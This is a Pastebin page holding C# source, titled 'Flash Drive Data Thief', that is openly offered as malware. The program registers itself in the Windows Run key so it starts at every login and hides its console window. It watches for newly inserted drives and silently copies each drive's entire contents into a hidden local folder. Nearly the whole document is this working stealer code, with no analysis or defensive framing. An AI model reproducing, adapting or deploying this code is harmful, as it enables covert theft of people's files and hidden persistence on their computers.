Advertisement
Metts

[C#] Flash Drive Data Thief

Feb 12th, 2012
404
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.ComponentModel;
  3. using System.Management;
  4. using System.Runtime.InteropServices;
  5. using System.Collections.Generic;
  6. using System.Text;
  7. using System.IO;
  8. using System.Threading;
  9. using Microsoft.Win32;
  10.  
  11.  
  12. class Program
  13. {
  14.     /*
  15.         CODED BY Metts - rootsite.hu
  16.         Copy all removable flash device files, directory, when new device inserted
  17.         Target: Win vista, Win 7
  18.         Requires: .net 3.5
  19.     */
  20.     [DllImport("user32.dll")]
  21.     public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  22.     [DllImport("user32.dll")]
  23.     static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  24.  
  25.     public static RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  26.     public static string drivername = "";
  27.     public static string target = @"C:\Intels\";
  28.     public static bool run = true;
  29.  
  30.     public static void Main(string[] args)
  31.     {
  32.         Console.Title = "Stealer";
  33.  
  34.         if (args.Length > 0)
  35.         {
  36.             switch (args[0])
  37.             {
  38.                 case "del":
  39.                     rkApp.DeleteValue("Stealer", false);
  40.                     if (run) { run = false; }
  41.                     break;
  42.                 case "write_reg":
  43.                     rkApp.SetValue("Stealer", System.Reflection.Assembly.GetExecutingAssembly().Location);
  44.                  break;
  45.             }
  46.         }
  47.         else  rkApp.SetValue("Stealer", System.Reflection.Assembly.GetExecutingAssembly().Location);
  48.         setConsoleWindowVisibility(false, Console.Title);
  49.         if (run)
  50.         {
  51.  
  52.             Thread thread = new Thread(new ThreadStart(check));
  53.             thread.Start();
  54.             Console.WriteLine("Wait...for drives...");
  55.         }
  56.        
  57.     }
  58.  
  59.     public static void setConsoleWindowVisibility(bool visible, string title)
  60.     {
  61.         IntPtr hWnd = FindWindow(null, title);
  62.         if (hWnd != IntPtr.Zero)
  63.         {
  64.             if (!visible)
  65.                 ShowWindow(hWnd, 0); // 0 = SW_HIDE                
  66.             else
  67.                 ShowWindow(hWnd, 1); //1 = SW_SHOWNORMA                  
  68.         }
  69.     }
  70.  
  71.     public static void check()
  72.     {
  73.         while (run)
  74.         {
  75.             ManagementEventWatcher watcher = new ManagementEventWatcher();
  76.             WqlEventQuery query = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogicalDisk'");
  77.             watcher.EventArrived += new EventArrivedEventHandler(watcher_EventArrived);
  78.             watcher.Query = query;
  79.             watcher.Start();
  80.             watcher.WaitForNextEvent();
  81.         }
  82.     }
  83.  
  84.     public static void copyDirectory(string Src,string Dst)
  85.     {  
  86.         String[] Files;
  87.  
  88.         if(Dst[Dst.Length-1]!=Path.DirectorySeparatorChar)
  89.             Dst+=Path.DirectorySeparatorChar;
  90.         if(!Directory.Exists(Dst)) Directory.CreateDirectory(Dst);
  91.             Files=Directory.GetFileSystemEntries(Src);
  92.         foreach(string Element in Files)
  93.         {
  94.             Console.WriteLine(Element);
  95.             if(Directory.Exists(Element))
  96.                 copyDirectory(Element,Dst+Path.GetFileName(Element));
  97.             else
  98.                 File.Copy(Element,Dst+Path.GetFileName(Element),true);
  99.         }  
  100.     }
  101.  
  102.     public static List<String> GetLAllUSBDevice()
  103.     {
  104.         List<String> result = new List<String>();
  105.         try
  106.         {
  107.             ManagementObjectCollection drives = new ManagementObjectSearcher("SELECT Caption, DeviceID FROM Win32_DiskDrive WHERE InterfaceType='USB'").Get();
  108.             foreach (ManagementObject drive in drives)
  109.             {
  110.                 foreach (ManagementObject partition in new ManagementObjectSearcher("ASSOCIATORS OF {Win32_DiskDrive.DeviceID='" + drive["DeviceID"] + "'} WHERE AssocClass = Win32_DiskDriveToDiskPartition").Get())
  111.                 {
  112.                     foreach (ManagementObject disk in new ManagementObjectSearcher("ASSOCIATORS OF {Win32_DiskPartition.DeviceID='" + partition["DeviceID"] + "'} WHERE AssocClass = Win32_LogicalDiskToPartition").Get())
  113.                     {
  114.                         result.Add(disk["VolumeName"].ToString() + " " + disk["CAPTION"].ToString());
  115.                     }
  116.                 }
  117.             }
  118.         }
  119.         catch (Exception e)
  120.         {
  121.             Console.WriteLine(e.Message);
  122.         }
  123.         return result;
  124.     }
  125.  
  126.     public static void watcher_EventArrived(object obj, EventArrivedEventArgs e)
  127.     {
  128.         var newEvent = e.NewEvent;
  129.         ManagementBaseObject targetInstance = (ManagementBaseObject)newEvent.GetPropertyValue("TargetInstance");
  130.         drivername = targetInstance.GetPropertyValue("Name").ToString();
  131.         Console.WriteLine(drivername + " Arrived");
  132.         copyDirectory(drivername, target);
  133.        
  134.     }
  135.    
  136. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement